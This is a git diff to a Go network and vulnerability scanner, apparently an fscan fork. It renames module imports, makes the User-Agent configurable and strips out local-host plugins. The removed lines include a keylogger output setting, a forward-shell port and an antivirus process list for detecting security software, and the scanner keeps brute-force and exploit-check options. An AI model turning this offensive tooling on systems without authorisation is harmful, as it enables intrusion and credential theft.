"scanner/common" + "scanner/common/i18n" gmtls "github.com/tjfoc/gmsm/gmtls" ) @@ -83,7 +83,7 @@ func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config if err != nil { return "" } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) req.Header.Set("Accept", "*/*") resp, err := session.HTTPDo(client, req) if err == nil { @@ -157,12 +157,12 @@ func (w *WebPortDetector) DetectHTTPServiceOnlyContext(ctx context.Context, host client := createHTTPClient(config, session) // 尝试HTTP - if w.tryHTTP(ctx, client, session, host, port, "http") { + if w.tryHTTP(ctx, client, session, config, host, port, "http") { return true } // 尝试HTTPS - if w.tryHTTP(ctx, client, session, host, port, "https") { + if w.tryHTTP(ctx, client, session, config, host, port, "https") { return true } @@ -184,7 +184,7 @@ func isPortReachable(ctx context.Context, host string, port int, config *common. } // tryHTTP 尝试HTTP请求 - 简化的核心逻辑 -func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, host string, port int, protocol string) bool { +func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, config *common.Config, host string, port int, protocol string) bool { // 构造URL targetURL := (&url.URL{Scheme: protocol, Host: net.JoinHostPort(host, strconv.Itoa(port))}).String() @@ -194,7 +194,7 @@ func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, sess return false } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) req.Header.Set("Accept", "*/*") resp, err := session.HTTPDo(client, req) diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index ec07d66c..4ed7ed3b 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -12,7 +12,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) /* @@ -734,8 +734,11 @@ func TestDetectHTTPScheme(t *testing.T) { }) t.Run("HTTP服务器检测", func(t *testing.T) { + cfg.HTTP.UserAgent = "Scanner-Test/1.0" + seenUserAgent := make(chan string, 1) // 创建HTTP测试服务器 server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + seenUserAgent <- r.UserAgent() w.WriteHeader(http.StatusOK) })) defer server.Close() @@ -752,6 +755,14 @@ func TestDetectHTTPScheme(t *testing.T) { if result != "http" { t.Errorf("DetectHTTPScheme() = %q, 期望 'http'", result) } + select { + case got := <-seenUserAgent: + if got != cfg.HTTP.UserAgent { + t.Errorf("User-Agent = %q, want %q", got, cfg.HTTP.UserAgent) + } + case <-time.After(time.Second): + t.Fatal("HTTP服务器未收到探测请求") + } }) t.Run("不存在的服务", func(t *testing.T) { diff --git a/examples/embed-agent/main.go b/examples/embed-agent/main.go index c1b3d156..92a5ee6f 100644 --- a/examples/embed-agent/main.go +++ b/examples/embed-agent/main.go @@ -5,7 +5,7 @@ import ( "fmt" "time" - fscan "github.com/shadow1ng/fscan/pkg/fscan" + fscan "scanner/pkg/fscan" ) func main() { diff --git a/examples/embed-basic/main.go b/examples/embed-basic/main.go index 8951d51e..d3c940b8 100644 --- a/examples/embed-basic/main.go +++ b/examples/embed-basic/main.go @@ -5,7 +5,7 @@ import ( "fmt" "time" - fscan "github.com/shadow1ng/fscan/pkg/fscan" + fscan "scanner/pkg/fscan" ) func main() { diff --git a/examples/embed-stream/main.go b/examples/embed-stream/main.go index 1911da6a..8eccf726 100644 --- a/examples/embed-stream/main.go +++ b/examples/embed-stream/main.go @@ -5,7 +5,7 @@ import ( "fmt" "time" - fscan "github.com/shadow1ng/fscan/pkg/fscan" + fscan "scanner/pkg/fscan" ) func main() { diff --git a/go.mod b/go.mod index 0c19ec62..e1b0e543 100644 --- a/go.mod +++ b/go.mod @@ -1,4 +1,4 @@ -module github.com/shadow1ng/fscan +module scanner go 1.25.0 @@ -38,19 +38,11 @@ require ( require ( filippo.io/edwards25519 v1.1.1 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect - github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect - github.com/hashicorp/go-uuid v1.0.3 // indirect - github.com/jcmturner/aescts/v2 v2.0.0 // indirect - github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect - github.com/jcmturner/gofork v1.7.6 // indirect - github.com/jcmturner/goidentity/v6 v6.0.1 // indirect - github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect - github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166 // indirect github.com/kr/pretty v0.3.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect diff --git a/go.sum b/go.sum index b29f478c..01975b74 100644 --- a/go.sum +++ b/go.sum @@ -51,9 +51,7 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= -github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= diff --git a/libs/grdp/core/io.go b/libs/grdp/core/io.go index 11b35ec0..8f06f551 100644 --- a/libs/grdp/core/io.go +++ b/libs/grdp/core/io.go @@ -2,7 +2,7 @@ package core import ( "encoding/binary" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "io" ) diff --git a/libs/grdp/core/types.go b/libs/grdp/core/types.go index 40335f85..73c15d48 100644 --- a/libs/grdp/core/types.go +++ b/libs/grdp/core/types.go @@ -1,6 +1,6 @@ package core -import "github.com/shadow1ng/fscan/libs/grdp/emission" +import "scanner/libs/grdp/emission" type Transport interface { Read(b []byte) (n int, err error) diff --git a/libs/grdp/login/screen.go b/libs/grdp/login/screen.go index aa2c44e4..cdf5796c 100644 --- a/libs/grdp/login/screen.go +++ b/libs/grdp/login/screen.go @@ -3,14 +3,14 @@ package login import ( "errors" "fmt" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" - "github.com/shadow1ng/fscan/libs/grdp/protocol/pdu" - "github.com/shadow1ng/fscan/libs/grdp/protocol/sec" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125" - "github.com/shadow1ng/fscan/libs/grdp/protocol/tpkt" - "github.com/shadow1ng/fscan/libs/grdp/protocol/x224" + "scanner/libs/grdp/core" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/nla" + "scanner/libs/grdp/protocol/pdu" + "scanner/libs/grdp/protocol/sec" + "scanner/libs/grdp/protocol/t125" + "scanner/libs/grdp/protocol/tpkt" + "scanner/libs/grdp/protocol/x224" "golang.org/x/net/context" "golang.org/x/net/proxy" "log" diff --git a/libs/grdp/protocol/lic/lic.go b/libs/grdp/protocol/lic/lic.go index 8c74d456..bcd6e641 100644 --- a/libs/grdp/protocol/lic/lic.go +++ b/libs/grdp/protocol/lic/lic.go @@ -3,7 +3,7 @@ package lic import ( "io" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" ) const ( diff --git a/libs/grdp/protocol/nla/cssp.go b/libs/grdp/protocol/nla/cssp.go index 8befec46..17513df2 100644 --- a/libs/grdp/protocol/nla/cssp.go +++ b/libs/grdp/protocol/nla/cssp.go @@ -3,7 +3,7 @@ package nla import ( "encoding/asn1" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" ) type NegoToken struct { diff --git a/libs/grdp/protocol/nla/encode.go b/libs/grdp/protocol/nla/encode.go index bc85c9de..b3e238e4 100644 --- a/libs/grdp/protocol/nla/encode.go +++ b/libs/grdp/protocol/nla/encode.go @@ -6,7 +6,7 @@ import ( "crypto/rc4" "strings" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" "golang.org/x/crypto/md4" ) diff --git a/libs/grdp/protocol/nla/ntlm.go b/libs/grdp/protocol/nla/ntlm.go index ba151724..1402b593 100644 --- a/libs/grdp/protocol/nla/ntlm.go +++ b/libs/grdp/protocol/nla/ntlm.go @@ -9,8 +9,8 @@ import ( "time" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/core" + "scanner/libs/grdp/glog" ) const ( diff --git a/libs/grdp/protocol/pdu/caps.go b/libs/grdp/protocol/pdu/caps.go index b7589f25..a44e2778 100644 --- a/libs/grdp/protocol/pdu/caps.go +++ b/libs/grdp/protocol/pdu/caps.go @@ -7,11 +7,11 @@ import ( "fmt" "io" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/core" + "scanner/libs/grdp/protocol/t125/gcc" ) type CapsType uint16 diff --git a/libs/grdp/protocol/pdu/data.go b/libs/grdp/protocol/pdu/data.go index ae64df40..963bee34 100644 --- a/libs/grdp/protocol/pdu/data.go +++ b/libs/grdp/protocol/pdu/data.go @@ -7,8 +7,8 @@ import ( "io" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/core" + "scanner/libs/grdp/glog" ) const ( diff --git a/libs/grdp/protocol/pdu/pdu.go b/libs/grdp/protocol/pdu/pdu.go index ed83a0cf..db91c35e 100644 --- a/libs/grdp/protocol/pdu/pdu.go +++ b/libs/grdp/protocol/pdu/pdu.go @@ -3,10 +3,10 @@ package pdu import ( "bytes" "encoding/hex" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/t125/gcc" ) type PDULayer struct { diff --git a/libs/grdp/protocol/sec/sec.go b/libs/grdp/protocol/sec/sec.go index 1c0e58e3..dd55b258 100644 --- a/libs/grdp/protocol/sec/sec.go +++ b/libs/grdp/protocol/sec/sec.go @@ -15,14 +15,14 @@ import ( "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" - - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/lic" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/protocol/nla" + + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/lic" + "scanner/libs/grdp/protocol/t125" + "scanner/libs/grdp/protocol/t125/gcc" ) /** diff --git a/libs/grdp/protocol/sec/sec_test.go b/libs/grdp/protocol/sec/sec_test.go index 88cef35d..da8f5e23 100644 --- a/libs/grdp/protocol/sec/sec_test.go +++ b/libs/grdp/protocol/sec/sec_test.go @@ -3,8 +3,8 @@ package sec import ( "testing" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/t125/gcc" ) func TestGenerateKeysRejectsShortRandoms(t *testing.T) { diff --git a/libs/grdp/protocol/t125/ber/ber.go b/libs/grdp/protocol/t125/ber/ber.go index f98ca9ed..cf129afa 100644 --- a/libs/grdp/protocol/t125/ber/ber.go +++ b/libs/grdp/protocol/t125/ber/ber.go @@ -5,7 +5,7 @@ import ( "fmt" "io" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" ) const ( diff --git a/libs/grdp/protocol/t125/gcc/gcc.go b/libs/grdp/protocol/t125/gcc/gcc.go index 58a4fc5a..eb37b518 100644 --- a/libs/grdp/protocol/t125/gcc/gcc.go +++ b/libs/grdp/protocol/t125/gcc/gcc.go @@ -11,11 +11,11 @@ import ( "io" "math/big" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/per" + "scanner/libs/grdp/core" + "scanner/libs/grdp/protocol/t125/per" ) var t124_02_98_oid = []byte{0, 0, 20, 124, 0, 1} diff --git a/libs/grdp/protocol/t125/mcs.go b/libs/grdp/protocol/t125/mcs.go index 646df608..1445940c 100644 --- a/libs/grdp/protocol/t125/mcs.go +++ b/libs/grdp/protocol/t125/mcs.go @@ -8,12 +8,12 @@ import ( "io" "reflect" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/ber" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/gcc" - "github.com/shadow1ng/fscan/libs/grdp/protocol/t125/per" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/t125/ber" + "scanner/libs/grdp/protocol/t125/gcc" + "scanner/libs/grdp/protocol/t125/per" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/libs/grdp/protocol/t125/per/per.go b/libs/grdp/protocol/t125/per/per.go index b4cc67b5..d23235be 100644 --- a/libs/grdp/protocol/t125/per/per.go +++ b/libs/grdp/protocol/t125/per/per.go @@ -4,9 +4,9 @@ import ( "bytes" "io" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" ) func ReadEnumerates(r io.Reader) (uint8, error) { diff --git a/libs/grdp/protocol/tpkt/tpkt.go b/libs/grdp/protocol/tpkt/tpkt.go index 51d53b82..61982266 100644 --- a/libs/grdp/protocol/tpkt/tpkt.go +++ b/libs/grdp/protocol/tpkt/tpkt.go @@ -9,10 +9,10 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/nla" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/libs/grdp/protocol/x224/x224.go b/libs/grdp/protocol/x224/x224.go index 05f52150..f5499829 100644 --- a/libs/grdp/protocol/x224/x224.go +++ b/libs/grdp/protocol/x224/x224.go @@ -6,12 +6,12 @@ import ( "errors" "fmt" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/protocol/tpkt" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/protocol/tpkt" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/main_cli.go b/main_cli.go index 84286dbd..c03c5b0f 100644 --- a/main_cli.go +++ b/main_cli.go @@ -6,15 +6,14 @@ import ( "os/signal" "syscall" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/debug" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/core" + "scanner/common" + "scanner/common/debug" + "scanner/common/i18n" + "scanner/core" // 导入统一插件系统 - _ "github.com/shadow1ng/fscan/plugins/local" - _ "github.com/shadow1ng/fscan/plugins/services" - _ "github.com/shadow1ng/fscan/plugins/web" + _ "scanner/plugins/services" + _ "scanner/plugins/web" ) func main() { diff --git a/pkg/fscan/README.md b/pkg/fscan/README.md index 4eb77774..7897733b 100644 --- a/pkg/fscan/README.md +++ b/pkg/fscan/README.md @@ -5,7 +5,7 @@ ## Quick Start ```go -import fscan "github.com/shadow1ng/fscan/pkg/fscan" +import fscan "scanner/pkg/fscan" scanner := fscan.NewScanner(fscan.Config{ Timeout: 3 * time.Second, diff --git a/pkg/fscan/controller.go b/pkg/fscan/controller.go index 68bdae3a..4ac79381 100644 --- a/pkg/fscan/controller.go +++ b/pkg/fscan/controller.go @@ -6,7 +6,7 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // ScanController provides pause/resume control and live stats for an diff --git a/pkg/fscan/result_test.go b/pkg/fscan/result_test.go index e9401a98..6bd53c5d 100644 --- a/pkg/fscan/result_test.go +++ b/pkg/fscan/result_test.go @@ -5,7 +5,7 @@ import ( "math" "testing" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) func TestResultHelpers(t *testing.T) { diff --git a/pkg/fscan/scanner.go b/pkg/fscan/scanner.go index c5845f63..f0685c7e 100644 --- a/pkg/fscan/scanner.go +++ b/pkg/fscan/scanner.go @@ -9,16 +9,15 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - commonconfig "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/core" - "github.com/shadow1ng/fscan/plugins" - - _ "github.com/shadow1ng/fscan/plugins/local" - _ "github.com/shadow1ng/fscan/plugins/services" - _ "github.com/shadow1ng/fscan/plugins/web" + "scanner/common" + commonconfig "scanner/common/config" + "scanner/common/i18n" + "scanner/common/output" + "scanner/core" + "scanner/plugins" + + _ "scanner/plugins/services" + _ "scanner/plugins/web" ) var defaultSafePlugins = []string{ @@ -117,7 +116,7 @@ func IsSafePlugin(name string) bool { if name == "" || !plugins.Exists(name) { return false } - return plugins.IsSafe(name) && !hasPluginCapability(name, PluginCapabilityPOC, PluginCapabilityLocalEffect) + return plugins.IsSafe(name) && !hasPluginCapability(name, PluginCapabilityPOC) } // PluginCapabilities returns the SDK-facing behavior classes for a plugin. @@ -402,47 +401,45 @@ func buildFlagVars(config Config, target Target) *common.FlagVars { } return &common.FlagVars{ - Host: strings.TrimSpace(target.Host), - Ports: formatPorts(ports), - ScanMode: formatPlugins(config), - ThreadNum: threadNum, - ModuleThreadNum: moduleThreads, - TimeoutSec: timeout, - GlobalTimeout: 180, - DisablePing: config.DisablePing, - DisableTcpProbe: config.DisableTCPProbe, - DisableSubnetProbe: config.DisableSubnetProbe, - AliveOnly: false, - DisableBrute: config.DisableBrute, - MaxRetries: maxRetries, - Username: strings.Join(config.Usernames, ","), - Password: strings.Join(config.Passwords, ","), - Domain: config.Domain, - SSHKeyPath: config.SSHKeyPath, - TargetURL: strings.TrimSpace(target.URL), - WebTimeout: webTimeout, - MaxRedirects: maxRedirects, - HTTPProxy: config.HTTPProxy, - Socks5Proxy: config.Socks5Proxy, - Iface: config.Interface, - PocPath: config.POCPath, - PocName: config.POCName, - PocFull: config.POCFull, - PocNum: pocConcurrency, - DisablePocScan: config.DisablePOCScan, - PacketRateLimit: config.PacketRateLimit, - MaxPacketCount: config.MaxPacketCount, - ICMPRate: icmpRate, - Outputfile: "result.txt", - OutputFormat: "txt", - DisableSave: true, - Silent: true, - NoColor: true, - LogLevel: common.LogLevelError, - DisableProgress: true, - Language: language, - ForwardShellPort: 4444, - KeyloggerOutputFile: "keylog.txt", + Host: strings.TrimSpace(target.Host), + Ports: formatPorts(ports), + ScanMode: formatPlugins(config), + ThreadNum: threadNum, + ModuleThreadNum: moduleThreads, + TimeoutSec: timeout, + GlobalTimeout: 180, + DisablePing: config.DisablePing, + DisableTcpProbe: config.DisableTCPProbe, + DisableSubnetProbe: config.DisableSubnetProbe, + AliveOnly: false, + DisableBrute: config.DisableBrute, + MaxRetries: maxRetries, + Username: strings.Join(config.Usernames, ","), + Password: strings.Join(config.Passwords, ","), + Domain: config.Domain, + SSHKeyPath: config.SSHKeyPath, + TargetURL: strings.TrimSpace(target.URL), + WebTimeout: webTimeout, + MaxRedirects: maxRedirects, + HTTPProxy: config.HTTPProxy, + Socks5Proxy: config.Socks5Proxy, + Iface: config.Interface, + PocPath: config.POCPath, + PocName: config.POCName, + PocFull: config.POCFull, + PocNum: pocConcurrency, + DisablePocScan: config.DisablePOCScan, + PacketRateLimit: config.PacketRateLimit, + MaxPacketCount: config.MaxPacketCount, + ICMPRate: icmpRate, + Outputfile: "result.txt", + OutputFormat: "txt", + DisableSave: true, + Silent: true, + NoColor: true, + LogLevel: common.LogLevelError, + DisableProgress: true, + Language: language, } } @@ -482,8 +479,8 @@ func normalizePlugins(pluginNames []string) []string { } func pluginTypes(name string) []string { - types := make([]string, 0, 4) - for _, pluginType := range []string{PluginTypeService, PluginTypeWeb, PluginTypeLocal, PluginTypeUDP} { + types := make([]string, 0, 3) + for _, pluginType := range []string{PluginTypeService, PluginTypeWeb, PluginTypeUDP} { if plugins.HasType(name, pluginType) { types = append(types, pluginType) } @@ -514,10 +511,6 @@ func pluginCapabilities(name string) []string { if activePOCPlugins[name] || strings.Contains(name, "poc") { add(PluginCapabilityPOC) } - if plugins.HasType(name, PluginTypeLocal) { - add(PluginCapabilityLocalEffect) - } - capabilities := make([]string, 0, len(capSet)) for capability := range capSet { capabilities = append(capabilities, capability) diff --git a/pkg/fscan/scanner_test.go b/pkg/fscan/scanner_test.go index 5d5a827c..64454836 100644 --- a/pkg/fscan/scanner_test.go +++ b/pkg/fscan/scanner_test.go @@ -10,9 +10,9 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - commonconfig "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + commonconfig "scanner/common/config" + "scanner/common/i18n" ) func TestBuildFlagVarsDefaults(t *testing.T) { diff --git a/pkg/fscan/types.go b/pkg/fscan/types.go index 02428a73..09589ca9 100644 --- a/pkg/fscan/types.go +++ b/pkg/fscan/types.go @@ -7,8 +7,6 @@ import ( const ( // PluginTypeWeb marks web-facing plugins. PluginTypeWeb = "web" - // PluginTypeLocal marks plugins that operate on the local host. - PluginTypeLocal = "local" // PluginTypeService marks network service plugins. PluginTypeService = "service" // PluginTypeUDP marks UDP protocol plugins that bypass TCP port scanning. @@ -24,8 +22,6 @@ const ( PluginCapabilityBrute = "brute" // PluginCapabilityPOC marks active vulnerability checks or exploitation. PluginCapabilityPOC = "poc" - // PluginCapabilityLocalEffect marks plugins that change or inspect local host state. - PluginCapabilityLocalEffect = "local-effect" ) const ( diff --git a/plugins/init.go b/plugins/init.go index 2686d688..47145ecc 100644 --- a/plugins/init.go +++ b/plugins/init.go @@ -5,7 +5,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // Plugin 统一插件接口 @@ -90,7 +90,6 @@ type PluginInfo struct { // 插件类型常量 const ( PluginTypeWeb = "web" // Web类型插件 - PluginTypeLocal = "local" // 本地类型插件 PluginTypeService = "service" // 服务类型插件 PluginTypeUDP = "udp" // UDP协议插件,跳过TCP端口扫描 ) @@ -100,24 +99,6 @@ var ( mutex sync.RWMutex ) -func init() { - common.IsLocalMode = func(mode string) bool { - if mode == "" || mode == "all" { - return false - } - for _, name := range strings.Split(mode, ",") { - name = strings.TrimSpace(name) - if name == "" { - continue - } - if !HasType(name, PluginTypeLocal) { - return false - } - } - return true - } -} - // RegisterWithPorts 注册带端口信息的插件 func RegisterWithPorts(name string, factory func() Plugin, ports []int) { RegisterWithTypes(name, factory, ports, []string{PluginTypeService}) @@ -135,7 +116,7 @@ func IsUDP(pluginName string) bool { // RegisterWithTypes 注册带类型标签的插件 func RegisterWithTypes(name string, factory func() Plugin, ports []int, types []string) { - RegisterWithOptions(name, factory, ports, types, !hasPluginType(types, PluginTypeLocal)) + RegisterWithOptions(name, factory, ports, types, true) } // RegisterUnsafeWithTypes 注册不适合默认嵌入式扫描的插件。 diff --git a/plugins/init_test.go b/plugins/init_test.go index 5ef3e1dc..562e1784 100644 --- a/plugins/init_test.go +++ b/plugins/init_test.go @@ -4,8 +4,8 @@ import ( "context" "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" + "scanner/common" + "scanner/common/config" ) /* @@ -61,9 +61,6 @@ func TestPluginRegistryMetadata(t *testing.T) { RegisterUDPWithPorts("unit_udp", func() Plugin { return testPlugin{BasePlugin: NewBasePlugin("unit_udp")} }, []int{161}) - RegisterWithTypes("unit_local", func() Plugin { - return testPlugin{BasePlugin: NewBasePlugin("unit_local")} - }, nil, []string{PluginTypeLocal}) RegisterUnsafeWithTypes("unit_unsafe_web", func() Plugin { return testPlugin{BasePlugin: NewBasePlugin("unit_unsafe_web")} }, nil, []string{PluginTypeWeb}) @@ -77,13 +74,13 @@ func TestPluginRegistryMetadata(t *testing.T) { if got := Get("missing_plugin"); got != nil { t.Fatalf("Get(missing_plugin) = %#v, want nil", got) } - if !HasType("unit_tcp", PluginTypeService) || !HasType("unit_local", PluginTypeLocal) { + if !HasType("unit_tcp", PluginTypeService) { t.Fatal("registered plugin types were not recorded") } if !IsUDP("unit_udp") || IsUDP("unit_tcp") { t.Fatal("UDP metadata is wrong") } - if !IsSafe("unit_tcp") || IsSafe("unit_local") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") { + if !IsSafe("unit_tcp") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") { t.Fatal("safe metadata is wrong") } @@ -94,43 +91,19 @@ func TestPluginRegistryMetadata(t *testing.T) { if got := GetPluginPorts("missing_plugin"); len(got) != 0 { t.Fatalf("missing plugin ports = %#v, want empty", got) } - if !hasPluginType([]string{PluginTypeWeb, PluginTypeLocal}, PluginTypeLocal) || + if !hasPluginType([]string{PluginTypeWeb, PluginTypeUDP}, PluginTypeUDP) || hasPluginType([]string{PluginTypeWeb}, PluginTypeUDP) { t.Fatal("hasPluginType returned wrong result") } names := All() - for _, want := range []string{"unit_tcp", "unit_udp", "unit_local", "unit_unsafe_web"} { + for _, want := range []string{"unit_tcp", "unit_udp", "unit_unsafe_web"} { if !containsPluginName(names, want) { t.Fatalf("All() missing %q in %#v", want, names) } } } -func TestPluginLocalModeHook(t *testing.T) { - preservePluginRegistry(t) - - RegisterWithTypes("unit_local_mode", func() Plugin { - return testPlugin{BasePlugin: NewBasePlugin("unit_local_mode")} - }, nil, []string{PluginTypeLocal}) - RegisterWithPorts("unit_service_mode", func() Plugin { - return testPlugin{BasePlugin: NewBasePlugin("unit_service_mode")} - }, []int{22}) - - if common.IsLocalMode == nil { - t.Fatal("IsLocalMode hook should be installed") - } - if !common.IsLocalMode("unit_local_mode") { - t.Fatal("single local plugin should be local mode") - } - if !common.IsLocalMode("unit_local_mode, unit_local_mode") { - t.Fatal("local plugin list should be local mode") - } - if common.IsLocalMode("") || common.IsLocalMode("all") || common.IsLocalMode("unit_local_mode,unit_service_mode") { - t.Fatal("non-local modes should not be local mode") - } -} - func containsPluginName(values []string, want string) bool { for _, value := range values { if value == want { diff --git a/plugins/local/auto.json b/plugins/local/auto.json deleted file mode 100644 index 4eb1ffcc..00000000 --- a/plugins/local/auto.json +++ /dev/null @@ -1,2163 +0,0 @@ -{ - "ALYac": { - "processes": [ - "aylaunch.exe", - "ayupdate2.exe", - "AYRTSrv.exe", - "AYAgent.exe" - ], - "url": "https://en.estsecurity.com/" - }, - "AVG": { - "processes": [ - "AVGSvc.exe", - "AVGUI.exe", - "avgwdsvc.exe", - "avg.exe", - "avgaurd.exe", - "avgemc.exe", - "avgrsx.exe", - "avgserv.exe", - "avgw.exe" - ], - "url": "https://www.avg.com/" - }, - "Acronis": { - "processes": [ - "arsm.exe", - "acronis_license_service.exe" - ], - "url": "https://www.acronis.com/" - }, - "Ad-Aware": { - "processes": [ - "AdAwareService.exe", - "Ad-Aware.exe", - "AdAware.exe" - ], - "url": "https://www.adaware.com/" - }, - "AhnLab-V3": { - "processes": [ - "patray.exe", - "V3Svc.exe" - 